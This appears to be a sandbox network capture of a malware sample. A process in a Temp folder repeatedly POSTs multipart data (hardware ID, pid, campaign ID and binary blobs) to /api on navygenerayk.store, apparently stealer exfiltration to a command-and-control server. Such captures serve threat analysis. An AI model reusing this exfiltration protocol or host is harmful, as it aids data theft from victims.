2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 51 72 46 35 55 52 6c 32 53 58 32 34 76 4a 6a 7a 35 33 41 6d 2f 7a 70 43 70 70 64 46 72 45 68 61 65 52 37 43 65 76 39 5a 4d 6e 64 79 67 51 52 38 56 47 62 46 73 56 41 64 6f 4c 62 37 4a 51 62 54 46 77 76 7a 67 32 47 6b 63 48 5a 5a 59 76 5a 36 79 30 41 7a 56 6c 4b 39 65 55 30 4e 58 68 46 64 69 4a 43 59 39 2b 4e 6b 46 73 73 32 47 71 4b 65 5a 4c 31 73 55 69 67 72 72 7a 4a 54 55 46 73 6e 65 69 56 4a 66 53 6b 6d 41 52 43 4d 37 5a 69 75 77 31 77 33 7a 6b 63 4b 67 71 39 4e 6f 47 42 71 57 52 37 4f 46 73 39 34 45 33 70 53 31 57 46 56 66 58 5a 4e 65 62 43 34 73 4f 76 7a 66 44 62 66 62 69 65 54 75 6d 57 59 44 55 38 6f 4b 6b 34 65 71 39 42 37 42 33 4c 67 58 52 67 31 65 6d 68 38 37 5a 43 45 2b 38 64 45 4c 74 63 4b 48 71 61 44 63 61 78 77 66 6b 6b 71 77 69 72 72 61 42 4e Data Ascii: QrF5URl2SX24vJjz53Am/zpCppdFrEhaeR7Cev9ZMndygQR8VGbFsVAdoLb7JQbTFwvzg2GkcHZZYvZ6y0AzVlK9eU0NXhFdiJCY9+NkFss2GqKeZL1sUigrrzJTUFsneiVJfSkmARCM7Ziuw1w3zkcKgq9NoGBqWR7OFs94E3pS1WFVfXZNebC4sOvzfDbfbieTumWYDU8oKk4eq9B7B3LgXRg1emh87ZCE+8dELtcKHqaDcaxwfkkqwirraBN
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 58 30 4a 63 6e 6c 52 6c 4b 69 6b 30 2f 4e 31 42 2f 59 6d 46 76 4f 43 42 49 54 77 4a 6e 30 79 6b 6e 59 6e 51 44 49 4c 63 75 42 64 47 44 56 36 61 48 7a 74 6b 4a 54 37 36 33 51 53 33 77 59 57 6e 6f 64 56 6c 46 68 36 57 51 37 65 4a 72 73 55 4b 33 5a 79 6f 56 31 42 42 53 35 68 61 59 79 68 6f 66 4c 44 58 47 66 4f 52 77 70 57 33 32 53 45 45 58 59 73 4b 74 49 44 38 6a 30 7a 63 6b 62 56 56 55 45 31 59 6c 56 74 6f 49 79 34 30 38 64 4d 45 73 4d 79 45 70 61 44 56 61 78 77 62 6d 45 53 2b 69 72 6a 52 43 70 50 53 35 31 35 48 44 51 48 57 62 57 34 71 49 54 48 32 33 52 65 62 2b 4d 4b 37 37 73 41 68 48 42 2f 53 45 76 4f 49 74 39 38 41 31 70 53 69 57 46 64 48 55 5a 6c 51 63 53 55 6e 4f 2f 66 62 44 4c 7a 48 68 36 71 79 33 6d 6f 51 47 35 74 45 74 63 7a 79 6c 77 76 4c 33 50 38 Data Ascii: X0JcnlRlKik0/N1B/YmFvOCBITwJn0yknYnQDILcuBdGDV6aHztkJT763QS3wYWnodVlFh6WQ7eJrsUK3ZyoV1BBS5haYyhofLDXGfORwpW32SEEXYsKtID8j0zckbVVUE1YlVtoIy408dMEsMyEpaDVaxwbmES+irjRCpPS515HDQHWbW4qITH23Reb+MK77sAhHB/SEvOIt98A1pSiWFdHUZlQcSUnO/fbDLzHh6qy3moQG5tEtczylwvL3P8
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 70 35 59 61 79 41 6d 49 50 48 66 51 66 32 4a 68 62 7a 67 67 53 45 71 42 5a 56 4e 76 4d 36 56 30 42 66 53 6c 71 52 53 55 77 31 47 32 45 59 6a 49 79 52 79 71 4a 41 4d 76 38 53 47 74 71 7a 5a 59 52 49 55 6d 46 69 38 67 37 48 55 44 4e 61 4f 70 6b 74 51 52 6c 79 56 57 32 77 72 4a 44 72 36 6b 45 2f 7a 7a 70 72 6b 2b 4a 6c 4e 47 41 4b 59 43 4a 53 57 71 74 41 41 77 70 65 71 56 52 39 53 46 34 38 66 5a 43 68 6f 61 72 44 51 41 4c 37 62 68 36 57 71 30 32 77 54 48 4a 64 50 76 49 69 34 33 41 4c 42 6b 71 68 5a 57 55 5a 59 6b 31 78 6f 4c 69 59 37 34 70 42 50 38 38 36 61 35 50 69 5a 53 77 41 53 6e 30 62 78 6f 72 66 42 43 35 47 39 71 56 4a 59 51 55 2f 57 51 43 30 39 61 44 58 38 6b 46 6e 7a 77 49 79 6f 6f 39 35 70 45 78 61 53 51 62 4f 44 74 74 6b 4c 77 5a 61 72 55 30 31 43 Data Ascii: p5YayAmIPHfQf2JhbzggSEqBZVNvM6V0BfSlqRSUw1G2EYjIyRyqJAMv8SGtqzZYRIUmFi8g7HUDNaOpktQRlyVW2wrJDr6kE/zzprk+JlNGAKYCJSWqtAAwpeqVR9SF48fZChoarDQAL7bh6Wq02wTHJdPvIi43ALBkqhZWUZYk1xoLiY74pBP886a5PiZSwASn0bxorfBC5G9qVJYQU/WQC09aDX8kFnzwIyoo95pExaSQbODttkLwZarU01C
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 4d 37 5a 69 75 77 31 77 33 7a 6b 63 4b 6b 70 4e 56 69 48 42 32 64 52 37 79 4c 74 39 67 47 33 59 36 6f 58 46 64 42 55 5a 74 4e 61 53 34 36 4f 2f 6e 64 44 37 76 62 67 65 54 75 6d 57 59 44 55 38 6f 4b 67 59 61 2f 32 78 72 65 6b 2b 64 47 45 56 51 5a 6b 56 4d 6a 66 47 67 67 34 74 41 4b 73 38 36 4d 74 71 48 52 62 68 45 54 6c 45 47 35 6a 37 58 54 41 74 71 61 70 6c 52 65 54 46 6d 54 58 32 6f 32 4a 58 4b 2b 6b 41 61 72 69 64 72 6b 6c 39 56 71 4b 68 43 45 43 71 7a 43 70 5a 63 4c 33 39 7a 2f 47 56 35 66 56 4a 35 62 59 79 6b 75 4f 66 48 52 41 72 50 4a 67 61 53 6c 30 6d 34 64 46 4a 39 41 75 6f 57 75 33 77 6a 42 6e 4b 74 64 48 77 4d 5a 6b 55 63 6a 66 47 67 43 38 39 73 4e 73 38 53 58 35 4c 2b 58 65 46 73 55 6e 67 72 72 7a 4c 54 63 42 39 57 58 70 46 70 52 52 6c 4f 5a 55 Data Ascii: M7Ziuw1w3zkcKkpNViHB2dR7yLt9gG3Y6oXFdBUZtNaS46O/ndD7vbgeTumWYDU8oKgYa/2xrek+dGEVQZkVMjfGgg4tAKs86MtqHRbhETlEG5j7XTAtqaplReTFmTX2o2JXK+kAaridrkl9VqKhCECqzCpZcL39z/GV5fVJ5bYykuOfHRArPJgaSl0m4dFJ9AuoWu3wjBnKtdHwMZkUcjfGgC89sNs8SX5L+XeFsUngrrzLTcB9WXpFpRRlOZU
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 35 35 74 45 4d 75 4d 58 41 70 61 33 4a 5a 6c 74 64 30 6b 7a 7a 31 4f 79 5a 54 4e 65 4e 35 77 45 50 48 77 4c 44 44 44 52 30 65 69 32 2b 79 55 47 6c 69 64 72 32 37 70 6c 7a 57 30 76 53 44 62 43 65 72 74 45 50 78 5a 2f 67 5a 32 46 74 55 70 70 63 62 79 55 76 63 72 36 51 44 76 4f 52 75 2b 53 6a 79 33 4e 55 41 6f 52 48 6f 34 76 77 33 78 33 65 6b 4f 63 58 48 77 46 64 6e 56 4e 6d 49 7a 68 39 34 73 41 4b 76 39 2f 4f 6f 4c 4b 5a 4c 31 73 43 6d 55 57 68 67 72 75 59 48 63 57 52 74 31 70 61 53 68 57 65 54 6d 34 6f 61 48 79 77 78 51 71 2f 7a 34 2b 78 37 38 68 33 47 41 57 56 42 72 75 64 73 64 74 4d 37 4e 4c 6e 51 52 38 56 47 61 4e 63 62 53 6f 76 4a 4f 47 64 49 62 6a 46 67 61 69 68 33 69 46 56 55 35 51 4b 36 39 2f 79 6c 77 6a 43 33 50 38 4a 44 52 59 4d 78 51 67 7a 64 6a Data Ascii: 55tEMuMXApa3JZltd0kzz1OyZTNeN5wEPHwLDDDR0ei2+yUGlidr27plzW0vSDbCertEPxZ/gZ2FtUppcbyUvcr6QDvORu+Sjy3NUAoRHo4vw3x3ekOcXHwFdnVNmIzh94sAKv9/OoLKZL1sCmUWhgruYHcWRt1paShWeTm4oaHywxQq/z4+x78h3GAWVBrudsdtM7NLnQR8VGaNcbSovJOGdIbjFgaih3iFVU5QK69/ylwjC3P8JDRYMxQgzdj
2024-11-08 14:22:29 UTC	1369	IN	Data Raw: 51 61 57 4a 32 76 66 75 6d 58 4e 62 53 39 49 4e 76 59 47 39 31 41 4c 51 6a 72 56 66 58 46 74 61 30 57 46 64 41 53 55 2f 39 64 34 47 6a 66 65 6a 72 72 44 55 62 68 77 74 72 48 32 69 69 36 79 56 4b 74 43 4b 70 42 6b 52 44 55 48 57 42 79 4d 46 49 69 4c 39 33 77 62 7a 68 38 4b 67 34 49 45 68 50 68 36 66 54 37 32 4c 2f 76 59 47 77 35 47 6f 58 68 38 44 47 5a 6f 66 4f 32 51 70 4f 4f 44 64 44 72 53 46 68 62 36 6e 6d 53 39 62 48 64 49 53 38 34 32 32 78 77 48 63 6d 2b 74 66 55 55 4d 5a 69 52 46 36 5a 44 35 79 71 49 4e 50 38 39 76 43 2f 4f 43 65 62 78 59 53 6b 55 53 77 6e 71 37 52 44 38 57 66 34 47 64 68 61 46 53 62 57 6d 30 6a 46 67 7a 52 32 68 47 2b 78 6f 58 6d 67 4e 35 33 47 43 32 73 66 61 4b 4c 72 4a 55 71 30 49 71 6b 47 52 45 4e 51 64 59 48 49 77 55 69 49 76 33 Data Ascii: QaWJ2vfumXNbS9INvYG91ALQjrVfXFta0WFdASU/9d4GjfejrrDUbhwtrH2ii6yVKtCKpBkRDUHWByMFIiL93wbzh8Kg4IEhPh6fT72L/vYGw5GoXh8DGZofO2QpOODdDrSFhb6nmS9bHdIS8422xwHcm+tfUUMZiRF6ZD5yqINP89vC/OCebxYSkUSwnq7RD8Wf4GdhaFSbWm0jFgzR2hG+xoXmgN53GC2sfaKLrJUq0IqkGRENQdYHIwUiIv3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.8	49890	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: navygenerayk.store
2024-11-08 14:22:30 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:31 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5uh02b5m8mhb8sadhudi0m6ijo; expires=Tue, 04-Mar-2025 08:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GDW%2BuWqGjGjTDwxcju%2F9W1e9Zry0GgEz%2FUS5%2BGOAcCZBIeUKmK9%2BTJ4df9Noy25L5EKr2cGgtGbxnbiTXj5rHMtbIp8YmYmjEkLAiUS9k6srf87mMoe%2Byd69biBHhxn5jSX07ZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df63730ed6e7d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1197&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13793&delivery_rate=2419381&cwnd=251&unsent_bytes=0&cid=7377030d8c48e54a&ts=765&x=0"
2024-11-08 14:22:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49892	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19123 Host: navygenerayk.store
2024-11-08 14:22:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:32 UTC	3792	OUT	Data Raw: a5 ca 92 a3 98 fe cd 2c 28 46 14 10 27 12 c6 05 04 46 88 84 fa 4a 57 99 06 95 e2 72 95 52 92 83 cb 84 a1 91 71 a2 10 51 8c 30 32 2a 4e 18 19 1f 11 e1 9e a1 c2 70 49 16 9a 2f 8c 13 25 c6 19 aa 71 95 5a 92 a6 91 2a 50 09 06 be 7b 9a 78 40 09 da de a8 ca 95 66 e7 bc 59 87 2a 65 9a 7c 35 8e a6 4a ba 5b 03 23 a2 02 0d ad 6a 29 9e f1 66 87 3c b5 5c 83 62 a6 c9 ca 31 09 86 ca 72 34 a8 c9 a6 0c 1c 57 ab 94 d9 f9 7d 1b b3 a5 c0 49 a9 4c 86 62 fd 0c 9c 21 c5 24 7a cb 26 87 56 a3 1a 4c 8e e1 a8 12 ef db ac d6 c8 55 1a 39 6e c2 2c 06 e6 88 98 3e 13 2d aa 1c 8d 0c cc ad 2c 03 55 f4 df ac 56 69 70 d3 93 40 2c 8c 5a aa c1 fb f3 35 47 9d 2a 05 cb 66 d2 57 21 18 00 4d 4d 47 b3 d1 74 a9 2c bf 3b 4a 7a 9e 0a 16 4d 0a 88 8f 88 13 7a b9 0b 53 34 aa e9 18 aa 91 a8 35 aa 5c 54 Data Ascii: ,(F'FJWrRqQ02NpI/%qZP{x@fYe\|5J[#j)f<\b1r4W}ILb!$z&VLU9n,>-,UVip@,Z5GfW!MMGt,;JzMzS45\T
2024-11-08 14:22:32 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rdijp3fff48t5qag32jhi90f10; expires=Tue, 04-Mar-2025 08:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bks5gdKNyhWyzObOc3epeL9MGAQRM21o6J0xOyz%2BuJF70mLIbtc1ZKvBI6bsrkXwmSi23SkMDSzd5gJ8CVzVqrVgo93LsYncqc61EHt8PGhJ8iT66NzjCNLYYuUs5bDrVNzUrDc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df6373b6b906b45-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1247&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20087&delivery_rate=2348742&cwnd=251&unsent_bytes=0&cid=3e933b3fc00883eb&ts=658&x=0"
2024-11-08 14:22:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49893	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: navygenerayk.store
2024-11-08 14:22:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:33 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-11-08 14:22:34 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ubveldlfaj4d4tpqavr7in94bk; expires=Tue, 04-Mar-2025 08:09:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QOjvkY1Zaxd4oOao8ozC1%2BXJAU8%2F8k6qaDC38cx4TWPIzJYkFcKZsFh7PaGeu39lCbkmowqG1ciBm5zNrhfGQElDv08Z2iREdnKYl9xLvsfubQ0kRmK8WshiexK%2FL10vt7nJesk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df63746dc396c38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21211&delivery_rate=2437710&cwnd=252&unsent_bytes=0&cid=25b98b7623751e46&ts=779&x=0"
2024-11-08 14:22:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49895	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:36 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1270 Host: navygenerayk.store
2024-11-08 14:22:36 UTC	1270	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-08 14:22:36 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 08 Nov 2024 14:22:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m71gcg1ea4mnrgf9p08uvr1qoi; expires=Tue, 04-Mar-2025 08:09:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IAd%2FSieK84ZDZQrER%2FinT1ex2FxDviWuIoS6eWXL3onA68GJ2j7a6nJb9xuDNS0b9TdRskMTkWdyWKBmTet3pv6JWIA6PZVn8W06lPEzLQunBwnQWCUq%2BGJJh1%2BkXIoNRVvvmcc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8df637541b57359a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1235&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2189&delivery_rate=2291139&cwnd=251&unsent_bytes=0&cid=8c58da56e95453b5&ts=498&x=0"
2024-11-08 14:22:36 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-11-08 14:22:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49898	188.114.96.3	443	5528	C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:22:37 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 389421 Host: navygenerayk.store
2024-11-08 14:22:37 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 46 36 31 42 31 41 35 32 34 43 30 33 35 34 31 34 45 39 35 33 43 39 38 38 45 35 43 31 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"2F61B1A524C035414E953C988E5C1F0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
